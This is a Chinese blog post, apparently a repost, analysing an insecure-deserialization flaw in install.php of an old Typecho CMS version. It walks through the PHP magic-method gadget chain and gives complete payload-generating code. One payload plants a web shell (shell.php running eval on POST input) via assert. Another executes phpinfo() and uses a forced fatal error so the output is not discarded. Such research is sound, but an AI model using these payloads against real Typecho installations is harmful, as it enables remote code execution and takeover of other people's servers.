typecho老版本的反序列化研究

typecho老版本的反序列化研究今天呢主要是自己还没审出过反序列化漏洞,所以找了typecho老版本来审一下。继续看一下怎么进入到这个反序列化,这里php夹杂着html代码,不

欢迎大家来到IT世界,在知识的湖畔探索吧!

原创: p0desta 合天智汇

虽然自己也水了些CVE,但是并没有自己满意的、漂亮的漏洞利用链,今天呢主要是自己还没审出过反序列化漏洞,所以找了typecho老版本来审一下。

正文

在install.php第246行会反序列化操作

$config = unserialize(base64_decode(
Typecho_Cookie
::
get
(
'__typecho_config'
)));
$type = explode(
'_'
, $config[
'adapter'
]);
$type = array_pop($type);

欢迎大家来到IT世界,在知识的湖畔探索吧!

进Typecho_Cookie类看一下get方法

欢迎大家来到IT世界,在知识的湖畔探索吧! 
public
 
static
 
function
 
get
($key, $default = NULL)
 {
 $key = 
self
::$_prefix . $key;
 $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
 
return
 $value;
 }

这里很显然是一个获取值的。

继续看一下怎么进入到这个反序列化,这里php夹杂着html代码,不太方便看,我简单处理一下

首先

if
 (!isset($_GET[
'finish'
]) && file_exists(__TYPECHO_ROOT_DIR__ . 
'/config.inc.php'
) && empty($_SESSION[
'typecho'
])) {
 
exit
;
}
// 挡掉可能的跨站请求
if
 (!empty($_GET) || !empty($_POST)) {
 
if
 (empty($_SERVER[
'HTTP_REFERER'
])) {
 
exit
;
 }
 $parts = parse_url($_SERVER[
'HTTP_REFERER'
]);
 
if
 (!empty($parts[
'port'
]) && $parts[
'port'
] != 
80
 && !
Typecho_Common
::isAppEngine()) {
 $parts[
'host'
] = 
"{$parts['host']}:{$parts['port']}"
;
 }
 
if
 (empty($parts[
'host'
]) || $_SERVER[
'HTTP_HOST'
] != $parts[
'host'
]) {
 
exit
;
 }
}

这里是判断是否已经安装的,一般其他cms的写法是只判断是否已经存在了lock文件,但是这里有个可控参数,也就是我们还能进入这个install.php页面。

继续往下走,可以直接进入反序列化操作

这里还需要魔术方法,可以参考我总结的另外一篇文章 http://p0desta.com/2018/04/01/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93/

欢迎大家来到IT世界,在知识的湖畔探索吧!$config = unserialize(base64_decode(
Typecho_Cookie
::
get
(
'__typecho_config'
)));
Typecho_Cookie
::
delete
(
'__typecho_config'
);
$db = 
new
 
Typecho_Db
($config[
'adapter'
], $config[
'prefix'
]);
$db->addServer($config, 
Typecho_Db
::READ | 
Typecho_Db
::WRITE);
Typecho_Db
::
set
($db);

这里我首先跟的是 $db->addServer,但是当我跟到 Config.php第62到81行的时候

 
public
 
function
 setDefault($config, $replace = 
false
)
 {
 
if
 (empty($config)) {
 
return
;
 }
 
/** 初始化参数 */
 
if
 (is_string($config)) {
 parse_str($config, $params);
 } 
else
 {
 $params = $config;
 }
 
/** 设置默认参数 */
 
foreach
 ($params 
as
 $name => $value) {
 
if
 ($replace || !array_key_exists($name, $this->_currentConfig)) {
 $this->_currentConfig[$name] = $value;
 }
 }
 }

只发现到这里如果类当做数组遍历的时候会触发 cureent方法,但是我全局搜 current方法并没有找到可以利用的地方。

然后继续跟一下

$db = 
new
 
Typecho_Db
($config[
'adapter'
], $config[
'prefix'
]);

跟到 Db.php第114行到135行

 
public
 
function
 __construct($adapterName, $prefix = 
'typecho_'
)
 {
 
/** 获取适配器名称 */
 $this->_adapterName = $adapterName;
 
/** 数据库适配器 */
 $adapterName = 
'Typecho_Db_Adapter_'
 . $adapterName;
 
if
 (!call_user_func(array($adapterName, 
'isAvailable'
))) {
 
throw
 
new
 
Typecho_Db_Exception
(
"Adapter {$adapterName} is not available"
);
 }
 $this->_prefix = $prefix;
 
/** 初始化内部变量 */
 $this->_pool = array();
 $this->_connectedPool = array();
 $this->_config = array();
 
//实例化适配器对象
 $this->_adapter = 
new
 $adapterName();
 }

危险的地方在于

$adapterName = 
'Typecho_Db_Adapter_'
 . $adapterName;

因为 $adapterName方法是可控的,被当做字符串拼接了,那么就会触发 toString方法,简化一下

<?php
class
 p0desta{
 
function
 __toString(){
 echo 
"p0desta"
;
 
return
 
"p0desta"
;
 }
}
class
 test{
 
private
 $t;
 
function
 __construct($s1){
 $this->t = $s1;
 $s1 = 
"xxx"
.$s1;
 }
}
$config = 
new
 p0desta();
$t2 = 
new
 test($config);
output:p0desta

那么全局搜一下toString找一下可以利用的地方

typecho老版本的反序列化研究

找到这个跟进去,这里看Feed.php第290行

 $content .= 
'<dc:creator>'
 . htmlspecialchars($item[
'author'
]->screenName) . 
'</dc:creator>'
 . 
self
::EOL;

读取不可访问属性的值时,get() 会被调用,那么只要item[‘author’]我们可控,那么就可以出发get()魔术方法。

通过全局搜素 __get()跟进/var/Typecho/Request.php,267行

 
public
 
function
 __get($key)
 {
 
return
 $this->
get
($key);
 }

继续看get方法

 
public
 
function
 
get
($key, $default = NULL)
 {
 
switch
 (
true
) {
 
case
 isset($this->_params[$key]):
 $value = $this->_params[$key];
 
break
;
 
case
 isset(
self
::$_httpParams[$key]):
 $value = 
self
::$_httpParams[$key];
 
break
;
 
default
:
 $value = $default;
 
break
;
 }
 $value = !is_array($value) && strlen($value) > 
0
 ? $value : $default;
 
return
 $this->_applyFilter($value);
 }

接着调用了 _applyFilter方法,继续跟进

 
private
 
function
 _applyFilter($value)
 {
 
if
 ($this->_filter) {
 
foreach
 ($this->_filter 
as
 $filter) {
 $value = is_array($value) ? array_map($filter, $value) :
 call_user_func($filter, $value);
 }
 $this->_filter = array();
 }
 
return
 $value;
 }

call_user_func($filter,$value)看到这里,我们关心的事情就是怎么构造去触发任意代码执行了。

到这里我们来整理下攻击链

install.php->反序列化操作->跟进
Db
.php->触发toString魔术方法->找到
Feed
.php-> 触发
get
魔术方法->找到/
var
/
Typecho
/
Request
.php->调用call_user_func

构造payload

<?php
class
 
Typecho_Feed
{
 
private
 $_type;
 
private
 $_items = array();
 
public
 
function
 __construct()
 {
 $this->_type = 
'RSS 2.0'
;
 $this->_items[] = array(
 
"author"
=>
new
 
Typecho_Request
()
 );
 }
}
class
 
Typecho_Request
{
 
private
 $_params = array();
 
private
 $_filter = array();
 
public
 
function
 __construct(){
 $this->_params[
'screenName'
] = 
'file_put_contents(\'shell.php\', \'<?php eval($_POST[1]); 
?>\')';
 $this->_filter[0] = "assert";
 }
}
$p0desta = array(
 "adapter"=>new Typecho_Feed,
 "prefix"=>"typecho_"
 );
var_dump(base64_encode(serialize($p0desta)));

一开始我直接构造getshell,并没有遇到什么问题,但是如果想讲执行结果输出出来就会遇到问题,问题产生的原因呢在于

install.php第54行 ob_start();

看一下手册

typecho老版本的反序列化研究

什么意思呢,这里我写个小demo来解释一下

<?php
ob_start();
echo 
"1"
;
ob_end_clean();

这个执行的话是不会有输出的, ob_start()激活了缓冲,输出结果会被写入到缓冲区,但是如果执行了 ob_end_clean函数就会把缓冲区的内容丢弃掉,那么也就没有输出了。

在Common.php第225行

set_exception_handler(array(
'Typecho_Common'
, 
'exceptionHandle'
));

设置了用户自定义的异常处理函数,当存在未捕获的异常时会调用,看一下定义测函数

 
public
 
static
 
function
 exceptionHandle(
Exception
 $exception)
 {
 
@ob_end_clean
();
 
if
 (
defined
(
'__TYPECHO_DEBUG__'
)) {
 echo 
'<h1>'
 . $exception->getMessage() . 
'</h1>'
;
 echo nl2br($exception->__toString());
 } 
else
 {
 
if
 (
404
 == $exception->getCode() && !empty(
self
::$exceptionHandle)) {
 $handleClass = 
self
::$exceptionHandle;
 
new
 $handleClass($exception);
 } 
else
 {
 
self
::error($exception);
 }
 }
 
exit
;
 }

@ob_end_clean();显然,它清理了缓冲区。

这里因为payload使我们构造好带进去的,很难做到不触发异常,那么我们有什么办法来绕过呢

这里我想到的是让它执行完我们的命令之后引发个报错,看一下报错类型

Fatal
 
Error
:致命错误(脚本终止运行)
 E_ERROR 
// 致命的运行错误,错误无法恢复,暂停执行脚本
 E_CORE_ERROR 
// PHP启动时初始化过程中的致命错误
 E_COMPILE_ERROR 
// 编译时致命性错,就像由Zend脚本引擎生成了一个E_ERROR
 E_USER_ERROR 
// 自定义错误消息。像用PHP函数trigger_error(错误类型设置为:E_USER_ERROR)
 
Parse
 
Error
:编译时解析错误,语法错误(脚本终止运行)
 E_PARSE 
//编译时的语法解析错误
 
Warning
 
Error
:警告错误(仅给出提示信息,脚本不终止运行)
 E_WARNING 
// 运行时警告 (非致命错误)。
 E_CORE_WARNING 
// PHP初始化启动过程中发生的警告 (非致命错误) 。
 E_COMPILE_WARNING 
// 编译警告
 E_USER_WARNING 
// 用户产生的警告信息
 
Notice
 
Error
:通知错误(仅给出通知信息,脚本不终止运行)
 E_NOTICE 
// 运行时通知。表示脚本遇到可能会表现为错误的情况.
 E_USER_NOTICE 
// 用户产生的通知信息。

写个demo解释一下

<?php
class
 a{
 
public
 $c;
}
$t = 
new
 a();
echo $t[
'aaa'
];
typecho老版本的反序列化研究

看Feed.php第292-296行

if
 (!empty($item[
'category'
]) && is_array($item[
'category'
])) {
 
foreach
 ($item[
'category'
] 
as
 $category) {
 $content .= 
'<category><![CDATA['
 . $category[
'name'
] . 
']]></category>'
 . 
self
::EOL;
 }
 }

那么我们就可以让其停止执行,这样的话就不会执行到 ob_end_clean函数了。

修改payload如下

<?php
class
 
Typecho_Feed
{
 
private
 $_type;
 
private
 $_items = array();
 
public
 
function
 __construct()
 {
 $this->_type = 
'RSS 2.0'
;
 $this->_items[] = array(
 
"author"
=>
new
 
Typecho_Request
(),
 
"category"
=>array(
new
 
Typecho_Request
())
 );
 }
}
class
 
Typecho_Request
{
 
private
 $_params = array();
 
private
 $_filter = array();
 
public
 
function
 __construct(){
 $this->_params[
'screenName'
] = 
'phpinfo();'
;
 $this->_filter[] = 
"assert"
;
 }
}
$p0desta = array(
 
"adapter"
=>
new
 
Typecho_Feed
,
 
"prefix"
=>
"typecho_"
 );
echo(base64_encode(serialize($p0desta)));
typecho老版本的反序列化研究

总结

总的利用链还是非常有意思的

install.php->反序列化操作->跟进
Db
.php->触发toString魔术方法->找到
Feed
.php-> 触发
get
魔术方法->找到/
var
/
Typecho
/
Request
.php->调用call_user_func

有趣的攻击链总能引起研究的兴趣。

typecho老版本的反序列化研究

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://itzsg.com/31626.html

(0)

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们YX

mu99908888

在线咨询: 微信交谈

邮件:itzsgw@126.com

工作时间:时刻准备着!

关注微信